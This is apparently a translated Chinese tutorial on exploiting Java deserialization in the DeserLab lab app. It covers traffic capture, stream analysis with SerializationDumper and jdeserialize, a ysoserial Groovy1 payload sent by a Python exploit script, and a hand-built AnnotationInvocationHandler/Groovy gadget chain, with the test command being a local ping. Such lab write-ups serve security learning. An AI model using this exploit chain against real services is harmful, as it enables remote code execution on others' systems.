利用DeserLab
建议你在阅读本文之前,先阅读《攻击Java反序列化过程》,这样你就会对java反序列化有一个比较清晰的认识。除此之外,这篇文章还提到了一个“DeserLab”的演示应用。为了有效利用反序列化漏洞,理解序列化的原理以及反序列化漏洞利用的工作原理(如面向属性的编程原理),研究人员就要找到一个可供模拟的实验环境,而“DeserLab”就是一个这样的环境。
要想利用一个漏洞,通常的方法首先是先了解目标在正常的情况下是如何运行的。对于“DeserLab”实验环境来说,需要做以下3方面的准备:
1.运行服务器和客户机; 2.捕获流量; 3.了解流量。
你可以使用以下命令,运行服务器和客户端:
java -jar DeserLab.jar -server 127.0.0.1 6666 java -jar DeserLab.jar -client 127.0.0.1 6666
上述命令的输入及输出如下:
java -jar DeserLab.jar -server 127.0.0.1 6666 [+] DeserServer started, listening on 127.0.0.1:6666 [+] Connection accepted from 127.0.0.1:50410 [+] Sending hello... [+] Hello sent, waiting for hello from client... [+] Hello received from client... [+] Sending protocol version... [+] Version sent, waiting for version from client... [+] Client version is compatible, reading client name... [+] Client name received: testing [+] Hash request received, hashing: test [+] Hash generated: 098f6bcd4621d373cade4e832627b4f6 [+] Done, terminating connection. java -jar DeserLab.jar -client 127.0.0.1 6666 [+] DeserClient started, connecting to 127.0.0.1:6666 [+] Connected, reading server hello packet... [+] Hello received, sending hello to server... [+] Hello sent, reading server protocol version... [+] Sending supported protocol version to the server... [+] Enter a client name to send to the server: testing [+] Enter a string to hash: test [+] Generating hash of "test"... [+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
但我的主要问题是,如何实现反序列化?为了回答这个问题,你可以用wireshark,tcpdump或者tshark来捕获6666号端口的流量。要捕获带有tcpdump的流量,你可以执行以下命令:
tcpdump -i lo -n -w deserlab.pcap 'port 6666'
不过要注意的是,请确保你使用wireshark浏览过pcap文件。这样,你就应该能够手动地处理一些进程了,至少能确认序列化的Java对象正在来回传递:
序列化数据的提取
现在让我开始了解实际传输的内容,要提前说明的是,我使用的是SerializationDumper的工具,利用这个工具,我可以识别反序列化漏洞利用的入口点。这个工具可以解析Java序列化流,将序列化流以可视化的形式导出。在使用该工具之前,我需要提前准备一些数据,所以让我先把pcap转换成可以分析的数据。
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
将其分解为可以分析的小块,以便将pcap数据转换成一个十六进制编码的输出字符串。分解所做的第一件事是将pcap转换成只包含传输的数据和tcp源端口号的文本:
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,
它看起来像这样:
50432,,6666 6666,,50432 50432,,6666 50432,aced0005,6666 6666,,50432 6666,aced0005,50432
就像你在TCP三次握手(Three-way Handshake)过程中可以看到的那样,没有数据,因此是“,,”部分。在此之后,客户端发送第一个字节,该字节由服务器发送,然后服务器再发送一些字节,以此类推。命令的第二部分将此转换为一个字符串,该字符串仅根据队列开头的端口选择的载荷进行选择:
| grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
译者注:三次握手的目的是连接服务器指定端口,建立TCP连接,并同步连接双方的序列号和确认号并交换TCP窗口大小信息。
上面只选择了服务器的响应,如果你想要客户端数据,你就需要更改端口号。最终的结果是这样的:
aced00057704f000baaa77020101737200146e622e64657365722e486[...]
我会选择两个工具来分析这些数据,首先使用的是SerializationDumper,其次使用jdeserialize。如果你想知道为什么要使用两种工具进行分析?我可以告诉你,通过实践潜在的漏洞很容易被发现。
序列化数据的分析
使用SerializationDumper,你可以将序列化数据的十六进制表示作为第一个参数来传递:
java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101
这将导致如下输出:
STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 4 - 0x04 Contents - 0xf000baaa TC_BLOCKDATA - 0x77 Length - 2 - 0x02 Contents - 0x0101 TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 20 - 0x00 14 Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374
如果我想要用jdeserialize分析相同的序列化数据,就必须首先构建jdeserialize,你可以使用anthttp://ant.apache.org/为它构建xml文件。我选择了手动编译,你可以通过以下命令实现:
mkdir build javac -d ./build/ src/* cd build jar cvf jdeserialize.jar *
译者注:经过序列化的数据可以存储为文本格式的数据,如JSON或者XML,也可以存储为二进制格式的数据。
这样就产生一个我可以使用的jar文件:
java -cp jdeserialize.jar org.unsynchronized.jdeserialize
考虑到jdeserialize,我可以将序列化数据的十六进制表示转换成python:
open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))
现在,我可以通过将jdeserialize文件作为第一个应该产生的参数来分析这个文件。
java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin read: [blockdata 0x00: 4 bytes] read: [blockdata 0x00: 2 bytes] read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; //// BEGIN stream content output [blockdata 0x00: 4 bytes] [blockdata 0x00: 2 bytes] nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; //// END stream content output //// BEGIN class declarations (excluding array classes) class nb.deser.HashRequest implements java.io.Serializable { java.lang.String dataToHash; java.lang.String theHash; } //// END class declarations //// BEGIN instance dump [instance 0x7e0002: 0x7e0000/nb.deser.HashRequest field data: 0x7e0000/nb.deser.HashRequest: dataToHash: r0x7e0003: [String 0x7e0003: "test"] theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"] ] //// END instance dump
我从两个序列化数据分析工具的输出中了解到的两件事,第一件事是,它是序列化数据。第二件事是,一个对象的nb . deser。HashRequest在客户端和服务器之间传输,如果我还将此分析与之前的wireshark检查结合起来,我还能了解到用户名是在TC_BLOCKDATA类型中作为字符串发送的:
TC_BLOCKDATA - 0x77 Length - 9 - 0x09 Contents - 0x000774657374696e67 '000774657374696e67'.decode('hex') 'x00x07testing'
这让我很好地了解了“DeserLab”实验室客户端和”DeserLab”实验室服务器之间的通信方式,现在来看看如何利用Ysoserial工具,ysoserial生成的载荷即可让readObject()实现任意命令执行。
开发DeserLab
至此,我对pcap分析以及对序列化数据的分析有了清晰的了解,这样,我就可以构建我自己的python脚本,其中包含一些硬编码的数据,我将在其中嵌入 ysoserial 载荷。为了让它保持精简,并让它与wireshark序列化流匹配,我决定让它完全类似于wireshark序列化流,它看起来像这样:
mydeser = deser(myargs.targetip, myargs.targetport) mydeser.connect() mydeser.javaserial() mydeser.protohello() mydeser.protoversion() mydeser.clientname() mydeser.exploit(myargs.payloadfile)
你可以在这里找到完整的脚本,可以看到,最简单的方法就是把硬编码过的所有java反序列化交换。你可能想知道为什么在mydeser.clientname()函数之后mydeser的漏洞(myargs.payloadfile)也出现了,不过我要告诉你的是,这些都不重要,重要的是,你应该知道我是如何实际生成和发送 ysoserial 载荷的。
为此,在我阅读了几篇文章(本文后面的附注)之后,发现了大多数vulns都与Java对象的反序列化有关。
因此,当我回顾信息交换时,发现可以在一个地方交换Java对象。在序列化分析的输出中可以很容易地发现这一点,因为它或者包含“TC_OBJECT – 0x73”或者:
//// BEGIN stream content output [blockdata 0x00: 4 bytes] [blockdata 0x00: 2 bytes] [blockdata 0x00: 9 bytes] nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; //// END stream content output
我可以清楚地看到,序列化流内容的最后一部分是“nb.deser.HashRequest”对象。这个对象被读取的地方也是交换的最后一部分,因此这也解释了为什么代码将利用函数作为代码的最后一部分。现在我知道了我的可利用载荷应处于什么位置,以及我如何选择,生成和发送有效载荷。
“DeserLab”实验室的代码本身并没有任何有用的东西,我可以通过修改序列化的漏洞来进一步开发。
因此,这意味着我必须寻找可能包含可以帮助我的代码的额外的库。在”DeserLab”实验室中只有一个库是Groovy,因此对于我应该使用的ysoserial 有效载荷。不过要注意的是,对于现实世界的应用程序,你可能需要自己将未知的库进行分解,并寻找有用的gadget,因为许多情况下,我们需要串联多个POP利用点才能形成完整的利用程序。POP利用点指的是一个代码片段,我可以修改某些对象的属性来影响这个代码片段,使其满足我的特定需求。
由于我知道将用于开发的库,所以有效载荷的生成非常简单:
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
需要注意的是,有效载荷传递是盲目的,所以如果你想知道它是否有效,你通常需要一些方法来检测它。
现在我必须删除有效载荷的前四个字节,才能并将其发送出去:
./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin 2017-09-07 22:58:05,401 - INFO - Connecting 2017-09-07 22:58:05,401 - INFO - java serialization handshake 2017-09-07 22:58:05,403 - INFO - protocol specific handshake 2017-09-07 22:58:05,492 - INFO - protocol specific version handshake 2017-09-07 22:58:05,571 - INFO - sending name of connected client 2017-09-07 22:58:05,571 - INFO - exploiting
如果一切都顺利,你应该看到以下内容:
sudo tcpdump -i lo icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes 22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64 22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64 22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64
这就是我成功开发的“DeserLab”实验室。
手动构建有效载荷
了解我的有效载荷的最佳方法是我自己重新构建相同的载荷,这就意味着要编写Java。但问题是我从哪里开始?我可以看一下序列化有效载荷,就像我看pcap时一样。下面的一行代码将有效载荷转换为hex字符串,我可以使用SerializationDumper分析它,或者你可以使用jdeserialize分析。
open('payload.bin','rb').read().encode('hex
有一个重要的概念,你需要注意,那就是当你执行反序列化攻击时,你发送的是一个对象的“保存”状态。这意味着你完全依赖接收方的行为,具体地说,就是取决于你在“保存”状态被反序列化时所采取的操作。这意味着,如果对方不调用你发送的对象的任何方法,则不会执行远程代码执行,这意味着你所受到的惟一影响是你发送的对象属性设置。
现在这个概念很清楚,这意味着我发送的第一个类应该有一个自动的方法,如果我想要实现代码的执行,第一个类就很重要。如果我看看AnnotationInvocationHandler的代码,就可以看到构造函数接受一个 java.util.map对象和readObject调用map对象上的方法。当一个序列化流被反序列化时,readObject会被自动调用。以下就是我构建的代码:
//this is the first class that will be deserialized String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler"; //access the constructor of the AnnotationInvocationHandler class final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0]; //normally the constructor is not accessible, so we need to make it accessible constructor.setAccessible(true);
调试通常要花几个小时,因此,如果你想要编译,可以参考下面的代码片段。
//regular imports import java.io.IOException; //reflection imports import java.lang.reflect.Constructor; public class ManualPayloadGenerateBlog{ public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { //this is the first class that will be deserialized String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler"; //access the constructor of the AnnotationInvocationHandler class final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0]; //normally the constructor is not accessible, so we need to make it accessible constructor.setAccessible(true); } }
你可以使用以下命令来编译和运行代码:
javac ManualPayloadGenerateBlog java ManualPayloadGenerateBlog
当你展开这段代码时,请记住以下几点:
1.搜索打印错误的代码 2.类名应该等于文件名 3.了解Java帮助。
这样初始入口点类,就可以利用上面的代码了,构造函数就可以访问,但是我需要为构造函数提供哪些参数呢?
constructor.newInstance(Override.class, map);
我理解的“map”参数是在初始readObject调用期间调用“entrySet”方法的对象。第一个参数我不完全理解它的内部工作原理,但主要的要点是,在readObject方法中,它被检查以确保第一个参数是“AnnotationType”的类型。我通过提供该类型的buildin ' Override '类来完成此任务。
为什么需要入口点?
为了利用反序列化漏洞,我需要一个入口点,通过这个入口点,我可以将自定义的序列化对象发往目标来做反序列化处理。为了识别入口点,我可以查看应用的源代码,看哪里使用了“java.io.ObjectInputStream”这个类(特别是“readObject”这个方法),或者查看实现了“readObject”方法的那些可序列化的类。如果攻击者可以控制传递给ObjectInputStream的那些数据,那么这种数据也可以作为反序列化攻击的入口点。此外,假如我无法获得Java源代码,可以查找存储在硬盘中的序列化数据,或者使用网络进行传输的序列化数据,只要知道具体要查找的内容即可。
动态代理(Dynamic Proxy)
现在重要的是要认识到第二个参数是一个Java代理对象,而不是一个简单的Java映射对象。点此,你可以很好地解释Java动态代理是怎么回事。
动态代理允许单个类使用单一的方法,以任意数量的方法为任意类调用多个方法调用。动态代理可以被认为是一种Facade,但它可以伪装成任何接口的实现。该接口中的invoke()方法能够让DynamicProxy实例在运行时调用被代理类的“对外服务”,即调用被代理类需要对外实现的所有接口中的方法,也就是完成对真实方法的调用,Java帮助文档中称这些真实方法为处理程序。
这意味着我可以尝试用这样的映射对象扩展我的源代码,例如:
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, <unknown-invocationhandler>);
请注意,我仍然需要嵌入的invocationhandler。这是Groovy最终适应的部分,因为直到现在我仍然处于常规Java类的领域。Groovy之所以适合于它,是因为它有一个InvocationHandler。调用时,它最终导致如下的代码执行:
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");
正如你在上面的代码中看到的,我现在终于可以把invocationhandler作为converted闭包对象。你可以通过分解Groovy库来确认这一点,当你查看ConvertedClosure类时,你将看到它扩展了ConversionHandler类,如果你将其分解,你将看到:
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, closure);
实现InvocationHandler的事实解释了为什么我可以在代理对象中使用它,然而,我不明白的是,Groovy有效载荷是如何从一个映射代理调用到实际的代码执行,你可以使用一个反编译器来查看Groovy库。